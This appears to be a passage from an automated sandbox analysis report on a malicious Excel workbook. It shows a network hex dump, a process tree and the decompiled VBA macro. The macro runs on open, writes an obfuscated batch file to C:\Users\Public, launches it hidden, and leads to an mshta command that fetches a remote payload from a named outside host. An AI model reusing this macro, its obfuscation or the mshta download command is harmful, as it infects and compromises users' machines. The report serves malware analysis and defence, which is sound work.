75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 69 66 28 Data Ascii: x)(this.ii,this);this.g.onerror=(0,_.x)(this.Ag,this);this.g.onprogress=(0,_.x)(this.xj,this);this.g.ontimeout=(0,_.x)(this.Cj,this)};_.h=fg.prototype;_.h.open=function(a,b,c){if(null!=c&&!c)throw Error("V");this.g.open(a,b)};_.h.send=function(a){if(a)if(
2022-08-16 09:49:46 UTC	62	IN	Data Raw: 4a 3d 21 31 3b 74 68 69 73 2e 73 3d 30 3b 74 68 69 73 2e 42 3d 6e 75 6c 6c 3b 74 68 69 73 2e 58 3d 22 22 3b 74 68 69 73 2e 52 3d 74 68 69 73 2e 57 3d 21 31 7d 3b 5f 2e 79 28 5f 2e 6a 67 2c 5f 2e 47 29 3b 6b 67 3d 2f 5e 68 74 74 70 73 3f 24 2f 69 3b 6c 67 3d 5b 22 50 4f 53 54 22 2c 22 50 55 54 22 5d 3b 5f 2e 6d 67 3d 5b 5d 3b 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 62 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 50 28 29 3b 5f 2e 78 61 28 5f 2e 6d 67 2c 74 68 69 73 29 7d 3b 0a 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 74 68 69 73 2e 67 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5a 60 22 2b 74 68 69 73 2e 6f 2b 22 60 22 2b 61 29 3b 62 3d 62 3f 62 2e 74 6f 55 70 70 Data Ascii: J=!1;this.s=0;this.B=null;this.X="";this.R=this.W=!1};_.y(_.jg,_.G);kg=/^https?$/i;lg=["POST","PUT"];_.mg=[];_.jg.prototype.ba=function(){this.P();_.xa(_.mg,this)};_.jg.prototype.send=function(a,b,c,d){if(this.g)throw Error("Z`"+this.o+"`"+a);b=b?b.toUpp
2022-08-16 09:49:46 UTC	63	IN	Data Raw: 33 35 61 35 0d 0a 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 0a 74 68 69 73 2e 67 26 26 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 21 3d 3d 74 68 69 73 2e 57 26 26 28 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 74 68 69 73 2e 57 29 3b 74 72 79 7b 6f 67 28 74 68 69 73 29 2c 30 3c 74 68 69 73 2e 73 26 26 28 28 74 68 69 73 2e 52 3d 70 67 28 74 68 69 73 2e 67 29 29 3f 28 74 68 69 73 2e 67 2e 74 69 6d 65 6f 75 74 3d 74 68 69 73 2e 73 2c 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 5a 2c 74 68 69 73 29 29 3a 74 68 69 73 2e 42 3d 5f 2e 68 67 28 74 68 69 73 2e 5a 2c 74 68 69 73 2e 73 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 43 3d 21 30 2c 74 68 69 73 2e 67 2e 73 65 6e 64 28 Data Ascii: 35a5Credentials"inthis.g&&this.g.withCredentials!==this.W&&(this.g.withCredentials=this.W);try{og(this),0<this.s&&((this.R=pg(this.g))?(this.g.timeout=this.s,this.g.ontimeout=(0,_.x)(this.Z,this)):this.B=_.hg(this.Z,this.s,this)),this.C=!0,this.g.send(
2022-08-16 09:49:46 UTC	65	IN	Data Raw: 2e 68 3d 21 31 3b 74 72 79 7b 61 2e 4d 63 28 29 3f 28 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 63 6f 6d 70 6c 65 74 65 22 29 2c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 73 75 63 63 65 73 73 22 29 29 3a 28 61 2e 6c 3d 36 2c 71 67 28 61 29 29 7d 66 69 6e 61 6c 6c 79 7b 72 67 28 61 29 7d 7d 7d 2c 72 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 67 29 7b 6f 67 28 61 29 3b 76 61 72 20 63 3d 61 2e 67 2c 64 3d 61 2e 49 5b 30 5d 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3a 6e 75 6c 6c 3b 61 2e 67 3d 6e 75 6c 6c 3b 61 2e 49 3d 6e 75 6c 6c 3b 62 7c 7c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 72 65 61 64 79 22 29 3b 74 72 79 7b 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 64 7d 63 61 74 63 68 28 65 29 7b Data Ascii: .h=!1;try{a.Mc()?(a.dispatchEvent("complete"),a.dispatchEvent("success")):(a.l=6,qg(a))}finally{rg(a)}}},rg=function(a,b){if(a.g){og(a);var c=a.g,d=a.I[0]?function(){}:null;a.g=null;a.I=null;b\|\|a.dispatchEvent("ready");try{c.onreadystatechange=d}catch(e){
2022-08-16 09:49:46 UTC	66	IN	Data Raw: 61 72 20 65 3d 64 2e 54 66 2c 66 3d 64 2e 69 6b 3b 61 3d 77 67 28 74 68 69 73 2c 61 2c 62 2c 64 2e 59 69 2c 63 29 3b 78 67 28 74 68 69 73 2c 61 2c 65 2c 66 2c 63 29 7d 3b 0a 76 61 72 20 77 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 64 3d 76 6f 69 64 20 30 3d 3d 3d 64 3f 7b 7d 3a 64 3b 76 61 72 20 66 3d 5b 5d 3b 79 67 28 61 2c 62 2c 63 2c 64 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 21 31 3a 65 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 66 2e 70 75 73 68 28 67 2e 6f 62 28 29 29 7d 29 3b 72 65 74 75 72 6e 20 66 7d 2c 79 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 67 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 7b 7d 3a 67 3b 62 3d 5f 2e 56 61 28 62 29 3b 66 6f 72 28 76 61 72 20 6b 3d 62 2e 6e 65 78 74 28 29 3b 21 6b 2e Data Ascii: ar e=d.Tf,f=d.ik;a=wg(this,a,b,d.Yi,c);xg(this,a,e,f,c)};var wg=function(a,b,c,d,e){d=void 0===d?{}:d;var f=[];yg(a,b,c,d,void 0===e?!1:e,function(g){f.push(g.ob())});return f},yg=function(a,b,c,d,e,f,g){g=void 0===g?{}:g;b=_.Va(b);for(var k=b.next();!k.
2022-08-16 09:49:46 UTC	67	IN	Data Raw: 6f 75 74 22 2c 28 30 2c 5f 2e 78 29 28 65 2e 42 2c 65 29 29 3b 58 66 28 61 2e 48 2c 66 2c 22 72 65 61 64 79 22 2c 66 2e 50 2c 21 31 2c 66 29 3b 66 2e 73 3d 33 45 34 3b 44 67 28 61 2e 52 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 2e 73 65 6e 64 28 64 29 3b 72 65 74 75 72 6e 20 65 2e 67 7d 29 3b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 42 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 66 2c 67 3d 21 31 2c 6b 3d 30 3b 6b 3c 62 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 6c 3d 62 5b 6b 5d 3b 69 66 28 21 66 26 26 6c 2e 6a 29 7b 65 3d 21 30 3b 66 3d 6c 2e 68 3b 62 72 65 61 6b 7d 65 6c 73 65 20 6c 2e 6c 26 26 28 67 3d 21 30 29 7d 76 61 72 20 6d 3d 5f 2e 79 61 28 61 2e 67 29 3b 28 65 Data Ascii: out",(0,_.x)(e.B,e));Xf(a.H,f,"ready",f.P,!1,f);f.s=3E4;Dg(a.R,function(){f.send(d);return e.g});return e}return null},Bg=function(a,b,c,d){for(var e=!1,f,g=!1,k=0;k<b.length;k++){var l=b[k];if(!f&&l.j){e=!0;f=l.h;break}else l.l&&(g=!0)}var m=_.ya(a.g);(e
2022-08-16 09:49:46 UTC	68	IN	Data Raw: 63 3d 77 69 6e 64 6f 77 3b 76 61 72 20 65 3d 5f 2e 46 62 28 61 2b 22 5c 72 5c 6e 2f 2f 23 20 73 6f 75 72 63 65 55 52 4c 3d 22 2b 62 29 2c 66 3d 5f 2e 45 62 28 65 29 3b 63 2e 65 76 61 6c 28 66 29 3d 3d 3d 66 26 26 63 2e 65 76 61 6c 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 46 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 46 66 28 61 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 7c 7c 22 22 3b 62 3d 5f 2e 46 66 28 54 66 28 62 29 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 62 26 26 62 2e 6d 61 74 63 68 28 22 28 2f 5f 2f 6a 73 Data Ascii: c=window;var e=_.Fb(a+"\r\n//# sourceURL="+b),f=_.Eb(e);c.eval(f)===f&&c.eval(f.toString())}catch(g){return!1}else return!1;return!0},Fg=function(a){var b=_.Ff(a.match(_.Ef)[5]\|\|null)\|\|"";b=_.Ff(Tf(b).match(_.Ef)[5]\|\|null);return null!==b&&b.match("(/_/js
2022-08-16 09:49:46 UTC	70	IN	Data Raw: 3b 63 26 26 28 65 2e 6c 3d 63 29 3b 64 26 26 0a 28 65 2e 6a 3d 64 29 3b 65 2e 43 3d 62 3b 62 3d 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63 Data Ascii: ;c&&(e.l=c);d&&(e.j=d);e.C=b;b=ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sec
2022-08-16 09:49:46 UTC	71	IN	Data Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 5b 63 5d 29 3f 62 3d 62 5b 61 5b 63 5d 5d 3a 62 3d 62 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72 Data Ascii: sOwnProperty(a[c])?b=b[a[c]]:b=b[a[c]]={}:b=b[a[c]]\|\|(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has tr
2022-08-16 09:49:46 UTC	72	IN	Data Raw: 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b Data Ascii: sent to Google for translation, using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;
2022-08-16 09:49:46 UTC	73	IN	Data Raw: 4d 53 47 5f 4f 50 54 49 4f 4e 53 3d 22 4f 70 74 69 6f 6e 73 22 3b 4a 5b 32 39 5d 3d 4d 53 47 5f 4f 50 54 49 4f 4e 53 3b 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3d 22 54 75 72 6e 20 6f 66 66 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 66 6f 72 20 74 68 69 73 20 73 69 74 65 22 3b 4a 5b 33 30 5d 3d 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3b 0a 4a 5b 33 31 5d 3d 6e 75 6c 6c 3b 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3d 22 53 68 6f 77 20 61 6c 74 65 72 6e 61 74 69 76 65 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3b 4a 5b 33 32 5d 3d 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3b 4d 53 47 5f 41 4c Data Ascii: MSG_OPTIONS="Options";J[29]=MSG_OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE;J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_AL
2022-08-16 09:49:46 UTC	75	IN	Data Raw: 20 6f 66 20 74 68 65 20 77 65 62 20 70 61 67 65 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f Data Ascii: of the web page is not supported.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_
2022-08-16 09:49:46 UTC	76	IN	Data Raw: 74 70 73 27 2b 27 3a 2f 2f 27 3b 20 63 2e 5f 70 61 68 3d 68 3b 20 63 2e 5f 70 61 73 3d 73 3b 20 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 Data Ascii: tps'+'://'; c._pah=h; c._pas=s; const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img
2022-08-16 09:49:46 UTC	77	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:49:17
Start date:	16/08/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f0b0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	11:49:20
Start date:	16/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Imagebase:	0x49e20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	11:49:21
Start date:	16/08/2022
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 8 127.0.0.1
Imagebase:	0xff0f0000
File size:	16896 bytes
MD5 hash:	5FB30FE90736C7FC77DE637021B1CE7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	5
Start time:	11:49:29
Start date:	16/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c start /min taskkill /f /im WINWORD.EXE
Imagebase:	0x49e20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	11:49:29
Start date:	16/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WINWORD.EXE
Imagebase:	0xff4e0000
File size:	112640 bytes
MD5 hash:	3722FA501DCB50AE42818F9034906891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	8
Start time:	11:49:30
Start date:	16/08/2022
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Imagebase:	0x13f130000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: EstaPastaDeTrabalho

Declaration

Line	Content
1	Attribute VB_Name = "EstaPastaDeTrabalho"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 38.023

APIs	Meta Information
Environ	Environ("Public") -> C:\Users\Public
Open	Open("C:\Users\Public\Outlook.bat")
Shell$
vbLf

Strings	Decrypted Strings
"Public"
"call getCmdPid.bat"
"set PID=%errorlevel%"
"call windowMode.bat -pid %PID% -mode hidden"
"cd C:\Users\Public"
"@echo off"
"Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
"cls"
"%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
" </ul>"
" </ul>"
"cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"

Line	Instruction	Meta Information
9	Private Sub Workbook_Open()
10	Dim iStage as Integer	executed
11	Dim iCounter as Integer
12	Dim iPage as Integer
13	Dim sFile as String
14	sFile = Environ("Public") & "\Outlook.bat"	Environ("Public") -> C:\Users\Public executed
16	Close
17	Open sFile For Output As # 1	Open("C:\Users\Public\Outlook.bat") executed
18	Print # 1, "call getCmdPid.bat"
19	Print # 1, "set PID=%errorlevel%"
20	Print # 1, "call windowMode.bat -pid %PID% -mode hidden"
21	Print # 1, "cd C:\Users\Public"
22	Print # 1, "@echo off"
23	Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
24	Print # 1, "cls"
25	Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
30	For iCounter = 2 To iStage
31	Print # 1, " </ul>"
32	iStage = iStage - 1
33	Next iCounter
33	Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0	Shell$ vbLf
40	Close
43	End Sub

Module: Planilha1

Declaration

Line	Content
1	Attribute VB_Name = "Planilha1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 2152, Parent PID: 2924COMMON

Executed Functions

Function 06790FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.992751284.0000000006790000.00000010.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_6790000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4a652fedf2b9be76400b8a0dae2216056e21008dc9720986ca188f641a434c83
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06790F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.992751284.0000000006790000.00000010.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_6790000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4a652fedf2b9be76400b8a0dae2216056e21008dc9720986ca188f641a434c83
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06790F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

